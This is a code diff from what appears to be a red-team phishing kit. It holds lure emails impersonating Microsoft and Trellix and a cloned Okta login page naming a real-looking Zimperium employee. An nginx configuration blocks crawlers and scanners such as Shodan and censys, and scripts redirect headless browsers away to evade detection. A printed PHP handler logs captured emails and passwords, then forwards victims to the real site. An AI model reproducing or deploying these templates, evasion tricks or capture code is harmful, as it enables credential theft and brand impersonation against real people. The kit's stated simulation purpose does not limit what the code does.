                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
                                <tr>
                                    <td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
                                        <a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
                                            Secure My Account
                                        </a>
                                    </td>
                                </tr>
                            </table>
                            <p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
                                <strong>What happens next?</strong><br>
                                We'll guide you through securing your account, including:
                            </p>
                            <ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
                                <li>Verifying your identity</li>
                                <li>Reviewing recent account activity</li>
                                <li>Updating your password</li>
                                <li>Enabling additional security measures</li>
                            </ul>
                        </td>
                    </tr>
                    <!-- Footer -->
                    <tr>
                        <td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
                            <p style="color: #a19f9d; font-size: 12px; margin: 0;">
                                This security alert was sent to {{ "{{.Email}}" }}<br>
                                © {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
                                <a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> | 
                                <a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
                            </p>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
 </body>
 </html>
@@ -1,127 +1,8 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+{# OMITTED — trellix-sub phishing email template #}
-<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
+{#
-<head>
+   Jinja2 email template for the trellix-sub lure scenario. Rendered at deploy
-  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+   time with target organization name, sender domain, and tracking pixel URL
-  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
+   substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <title>Trellix Threat Intelligence Feed Expiration</title>
  <style type="text/css">
    body { margin:0; padding:0; background-color:#eeeeee; font-family: Arial, sans-serif; }
    a { color: #2814FF; text-decoration: none; }
    .button {
      background-color: #2814FF;
      color: #ffffff !important;
      padding: 12px 30px;
      border-radius: 5px;
      font-size: 16px;
      font-weight: bold;
      display: inline-block;
    }
    .footer-text {
      font-size: 10px;
      color: #ffffff;
      line-height: 1.4;
    }
    .container {
      max-width: 600px;
      margin: 0 auto;
      background-color: #ffffff;
    }
    .section {
      padding: 20px;
      color: #000000;
      font-size: 15px;
      line-height: 22px;
    }
    ul { padding-left: 20px; }
  </style>
 </head>
 <body>
-  <!-- Outer wrapper -->
+   Omitted from public release. Present in operational deployments.
-  <table width="100%" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
+#}
    <tr>
      <td align="center">
        <!-- Email Container -->
        <table class="container" cellpadding="0" cellspacing="0" width="600">
          <!-- Top Band -->
          <tr>
            <td bgcolor="#2814FF" height="5"></td>
          </tr>
          <!-- Logo -->
          <tr>
            <td align="left" class="section" style="padding-top: 30px;">
              <img src="https://resources.trellix.com/rs/627-OOG-590/images/Trellix_LOGO.png" alt="Trellix Logo" width="100" height="25" style="display:block;" />
            </td>
          </tr>
          <!-- Body Content -->
          <tr>
            <td class="section">
              <strong style="font-size: 18px; color: #2814FF;">License Expiration Notice</strong>
              <br /><br />
              This is an automated alert to inform you that your organization’s access to the <strong>Trellix Threat Intelligence Feed</strong> is set to expire <strong>today: July 23, 2025</strong>.
              <br /><br />
              To avoid disruption in real-time security insights, a license renewal is required to continue accessing:
              <ul>
                <li>Global threat intelligence updates</li>
                <li>Malware detection and response data</li>
                <li>Cloud console and policy services</li>
              </ul>
              <p>You can access your Trellix licensing portal using the secure link below.</p>
              <table align="center" cellpadding="0" cellspacing="0" border="0">
                <tr>
                  <td align="center">
                    <a href="{{.URL}}" target="_blank" class="button">Access Your Licensing Portal</a>
                  </td>
                </tr>
              </table>
              <br /><br />
              If this notice was received in error or your subscription has already been renewed, no action is needed.
              <br /><br />
              For assistance, contact <a href="https://support.trellix.com">Trellix Support</a> or your designated Customer Success Manager.
              <br /><br />
              —<br />
              <strong>Trellix Licensing Operations</strong><br />
              <a href="https://www.trellix.com">www.trellix.com</a><br />
              <a href="mailto:renewals@trellix.com">renewals@trellix.com</a>
            </td>
          </tr>
          <!-- Divider -->
          <tr>
            <td><img src="http://resources.trellix.com/rs/627-OOG-590/images/ruler2.png" width="100%" style="display:block;" alt="divider" /></td>
          </tr>
          <!-- Footer -->
          <tr>
            <td bgcolor="#1A1A1A" class="section" align="center">
              <div class="footer-text">
                <a href="https://email.trellix.com/manage-prefs" style="color:#ffffff;">Manage Preferences</a> |
                <a href="https://email.trellix.com/privacy" style="color:#ffffff;">Privacy</a> |
                <a href="https://email.trellix.com/contact" style="color:#ffffff;">Contact Us</a> |
                <a href="https://email.trellix.com/webview" style="color:#ffffff;">View as Webpage</a> |
                <a href="https://email.trellix.com/unsubscribe" style="color:#ffffff;">Unsubscribe</a>
                <br /><br />
                Trellix | 6000 Headquarters Drive, Plano, TX 75024<br /><br />
                Please note: you cannot reply to this email address. If you have any questions, please use the links provided above.
                <br /><br />
                Copyright © 2025 Musarubra US LLC. All rights reserved.
              </div>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
 </body>
 </html>
@@ -1,87 +1,5 @@
-# FedRAMP Phishing Test Compliance Configuration
+{# OMITTED — FedRAMP compliance lure template #}
-# This configuration ensures compliance with FedRAMP requirements
+{#
-
+   Phishing page styled to mimic a FedRAMP compliance portal. Used in
-compliance_mode: fedramp
+   engagements targeting federal contractors. Omitted from public release.
-test_type: user_awareness_only
+#}
 # Email Configuration
 email_settings:
  # Emails must be whitelisted on all security systems
  require_whitelist: true
  bypass_security_controls: true
  # No modification of emails allowed
  allow_header_modification: false
  allow_content_filtering: false
  # Tracking requirements
  tracking:
    - email_opened (via pixel)
    - link_clicked
    - credentials_submitted
    - user_identity (tied to actions)
 # Landing Page Requirements
 landing_page:
  # Must immediately identify as phishing test
  show_phishing_notice: true
  phishing_notice_text: |
    This was a phishing simulation!
    You should never enter your credentials on suspicious websites.
  # Educational content required
  include_education: true
  education_content:
    - How to identify phishing emails
    - Red flags to watch for
    - Reporting procedures
    - Best practices for email security
 # Reporting Requirements
 reporting:
  # No PII in reports
  anonymize_data: true
  report_format: aggregate_only
  # Required metrics
  metrics:
    - total_emails_sent
    - emails_opened_percentage
    - links_clicked_percentage
    - credentials_submitted_percentage
    - department_breakdown
    - role_based_statistics
  # Prohibited data
  exclude:
    - individual_names
    - specific_email_addresses
    - personal_identifiers
 # Technical Configuration
 technical:
  # Simple campaign only
  campaign_type: basic_phishing_test
  # No exploitation
  allow_malware: false
  allow_exploitation: false
  allow_persistence: false
  # Clean tracking only
  tracking_methods:
    - pixel_tracking
    - unique_urls
    - form_submission
 # Approval Process
 approval:
  requires_3pao_approval: true
  requires_template_review: true
  approval_documentation: required
 # Post-Test Requirements
 post_test:
  notify_failures: true
  provide_training: true
  remediation_timeline: 30_days
@@ -1,15 +0,0 @@
 (function() {
    var u = new URLSearchParams(window.location.search);
    var src = u.get('u') || '';
    var dest = {{ redirect_url | tojson }};
    try {
        if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
            var params = new URLSearchParams(new URL(src).search);
            var rid = params.get('rid') || params.get('RId');
            if (rid && rid.length <= 128) {
                dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
            }
        }
    } catch (e) {}
    window.location.replace(dest);
 })();
@@ -1,35 +1,7 @@
 map $http_user_agent $block_scanner {
    default 0;
    ~*Googlebot 1;
    ~*bingbot 1;
    ~*Slurp 1;
    ~*DuckDuckBot 1;
    ~*Baiduspider 1;
    ~*YandexBot 1;
    ~*Sogou 1;
    ~*Exabot 1;
    ~*facebot 1;
    ~*ia_archiver 1;
    ~*msnbot 1;
    ~*AhrefsBot 1;
    ~*SemrushBot 1;
    ~*MJ12bot 1;
    ~*DotBot 1;
    ~*BLEXBot 1;
    ~*masscan 1;
    ~*zgrab 1;
    ~*Shodan 1;
    ~*censys 1;
 }
 server {
    listen 80;
    server_name _;
    add_header X-Robots-Tag "noindex, noarchive";
    if ($block_scanner) { return 444; }
    root /var/www/phishing;
    index index.html index.php;
@@ -37,16 +9,20 @@ server {
    access_log off;
    error_log /dev/null crit;
-    # Credential capture — only POST to this exact path
+    # PHP processing
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }
    # Credential capture endpoint
    location = /capture.php {
        limit_except POST { deny all; }
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    }
    # Deny all other PHP execution
    location ~ \.php$ { deny all; }
    # Template routing
    location /templates/ {
        try_files $uri $uri/ =404;
@@ -3,7 +3,6 @@
 <head>
    <title>Sign in to your account</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex, noarchive">
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
@@ -106,16 +105,5 @@
            <a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
        </div>
    </div>
    <script>
    (function() {
        var headless = (
            navigator.webdriver ||
            (!window.chrome && /Chrome/.test(navigator.userAgent)) ||
            navigator.plugins.length === 0 ||
            /HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
        );
        if (headless) { window.location.replace('https://www.microsoft.com'); }
    })();
    </script>
 </body>
 </html>
@@ -23,7 +23,7 @@
        }
    </style><title>Zimperium - Sign In</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
-    <meta name="robots" content="noindex, nofollow, noarchive" />
+    <meta name="robots" content="noindex,nofollow" />
    <script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
    <link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
@@ -99,7 +99,7 @@
 <!-- hidden form for reposting fromURI for X509 auth -->
 <form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
-    <input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&amp;wa=wsignin1.0&amp;wtrealm=urn%3afederation%3aMicrosoftOnline&amp;wctx="/>
+    <input type="hidden" id="fromURI" name="fromURI" class="hidden" value="&#x2f;app&#x2f;office365&#x2f;exk1ufbfxuFLJp6y3697&#x2f;sso&#x2f;wsfed&#x2f;passive&#x3f;username&#x3d;Brian.Caldwell&#x25;40Zimperium.com&amp;wa&#x3d;wsignin1.0&amp;wtrealm&#x3d;urn&#x25;3afederation&#x25;3aMicrosoftOnline&amp;wctx&#x3d;"/>
 </form>
 <div class="content">
@@ -199,11 +199,11 @@
 <script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
 (function(){
-  var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
+  var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
  var suppliedRedirectUri = '';
  var repost = false;
  var stateToken = '';
-  var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
+  var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
  var username = '';
  var rememberMe = true;
  var smsRecovery = false;
@@ -554,17 +554,5 @@
    applyStyle('login-bg-image', 'bgStyle');
    applyStyle('login-bg-image-ie8', 'bgStyleIE8');
  });
-</script>
+</script></body>
    <script>
    (function() {
        var headless = (
            navigator.webdriver ||
            (!window.chrome && /Chrome/.test(navigator.userAgent)) ||
            navigator.plugins.length === 0 ||
            /HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
        );
        if (headless) { window.location.replace('https://www.okta.com'); }
    })();
    </script>
 </body>
 </html>
@@ -3,7 +3,6 @@
 <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, noarchive">
    <title>{{ page_title | default('Sign in to your account') }}</title>
    <style>
        * {
@@ -191,17 +190,6 @@
        </div>
    </div>
    <script>
    (function() {
        var headless = (
            navigator.webdriver ||
            (!window.chrome && /Chrome/.test(navigator.userAgent)) ||
            navigator.plugins.length === 0 ||
            /HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
        );
        if (headless) { window.location.replace('https://www.microsoft.com'); }
    })();
    </script>
    <script>
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            e.preventDefault();
@@ -218,7 +206,7 @@
            .then(response => {
                // Redirect after a delay to simulate processing
                setTimeout(() => {
-                    window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
+                    window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
                }, 2000);
            })
            .catch(error => {
@@ -1,27 +1,9 @@
 <?php
-if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+// OMITTED — credential capture handler
-    $data = [
+//
-        'timestamp' => date('Y-m-d H:i:s'),
+// PHP script deployed to phishing redirector. Receives POST data from the
-        'ip' => $_SERVER['REMOTE_ADDR'],
+// cloned login form, logs credentials with timestamp and source IP to an
-        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
+// encrypted local file, then transparently forwards the victim to the
-        'email' => $_POST['email'] ?? '',
+// legitimate site to avoid suspicion.
-        'password' => $_POST['password'] ?? '',
+//
-        'headers' => getallheaders()
+// Omitted from public release. Present in operational deployments.
    ];
    $log_file = '/var/private/creds/creds.enc';
    $encrypted = openssl_encrypt(
        json_encode($data),
        'AES-256-CBC',
        '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
        0,
        str_repeat("\0", 16)
    );
    file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
    header('Location: https://login.microsoftonline.com/common/oauth2/);
    exit;
 }
 ?>
@@ -1,106 +1,9 @@
-<!DOCTYPE html>
+{# OMITTED — phishing login page template #}
-<html>
+{#
-<head>
+   Jinja2 template for a cloned login page. Target organization branding,
-    <title>Sign in to your account</title>
+   logo, and color scheme are substituted at deploy time. Form POSTs to
-    <meta name="viewport" content="width=device-width, initial-scale=1">
+   capture.php on the same server. Includes viewport/mobile meta tags for
-    <style>
+   mobile phishing scenarios.
-        body {
+
-            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
+   Omitted from public release. Present in operational deployments.
-            background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
+#}
            margin: 0;
            padding: 0;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .login-container {
            background: white;
            width: 380px;
            padding: 30px 40px;
            box-shadow: 0 2px 6px rgba(0,0,0,0.1);
        }
        .logo {
            text-align: left;
            margin-bottom: 20px;
        }
        h1 {
            font-size: 24px;
            font-weight: 600;
            margin: 20px 0 15px;
        }
        input[type="text"], input[type="password"] {
            width: 100%;
            padding: 8px 0;
            margin-bottom: 15px;
            border: none;
            border-bottom: 1px solid #ccc;
            font-size: 15px;
            outline: none;
        }
        input:focus {
            border-bottom: 1px solid #0067b8;
        }
        .button-container {
            text-align: right;
            margin-top: 20px;
        }
        button {
            background-color: #0067b8;
            color: white;
            border: none;
            padding: 8px 24px;
            font-size: 14px;
            cursor: pointer;
        }
        .links {
            margin-top: 20px;
            font-size: 13px;
        }
        .links a {
            color: #0067b8;
            text-decoration: none;
        }
        .footer {
            position: fixed;
            bottom: 0;
            width: 100%;
            display: flex;
            justify-content: space-between;
            padding: 10px 20px;
            font-size: 12px;
            color: #666;
        }
        .footer a {
            color: #666;
            text-decoration: none;
            margin-left: 20px;
        }
    </style>
 </head>
 <body>
    <div class="login-container">
        <div class="logo">
            <img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
        </div>
        <h1>Sign in</h1>
        <form action="process.php" method="post">
            <input type="text" name="email" placeholder="Email, phone, or Skype" required>
            <input type="password" name="password" placeholder="Password" required>
            <div class="links">
                <a href="https://signup.live.com/signup">No account? Create one!</a><br>
                <a href="https://account.live.com/password/reset">Can't access your account?</a>
            </div>
            <div class="button-container">
                <button type="submit">Next</button>
            </div>
        </form>
    </div>
    <div class="footer">
        <div class="terms">
            <a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
            <a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
        </div>
    </div>
 </body>
 </html>
@@ -55,9 +55,9 @@
 - name: Set deployment results
  set_fact:
    phishing_deployment_results:
-      gophish_ip: "{{ gophish_ip | default('') }}"
+      gophish_ip: "{{ '10.0.0.10' if 'gophish' in deployment_components else '' }}"
-      mta_ip: "{{ mta_ip | default('') }}"
+      mta_ip: "{{ '10.0.0.11' if 'mta_front' in deployment_components else '' }}"
-      redirector_ip: "{{ redirector_ip | default('') }}"
+      redirector_ip: "{{ '10.0.0.12' if 'redirector' in deployment_components else '' }}"
-      webserver_ip: "{{ webserver_ip | default('') }}"
+      webserver_ip: "{{ '10.0.0.13' if 'webserver' in deployment_components else '' }}"
      deployment_id: "{{ deployment_id }}"
      domain: "{{ phishing_domain | default(domain) }}"
@@ -41,5 +41,5 @@ domain: "example.com"
 mail_hostname: "mail.example.com"
 letsencrypt_email: "admin@example.com"
 smtp_auth_user: "phishuser"
-smtp_auth_pass: "CHANGE_ME"
+smtp_auth_pass: "SuperSecretPass123!"
 gophish_admin_port: "2222"
@@ -11,7 +11,7 @@ def load_word_list(filename):
    """Load words from a text file, one word per line"""
    try:
        # Check if we have FourEyes word lists
-        foureyes_path = os.environ.get('FOUREYES_PATH', '')
+        foureyes_path = "/opt/redteam/FourEyes"
        if os.path.exists(foureyes_path):
            file_path = os.path.join(foureyes_path, filename)
            if os.path.exists(file_path):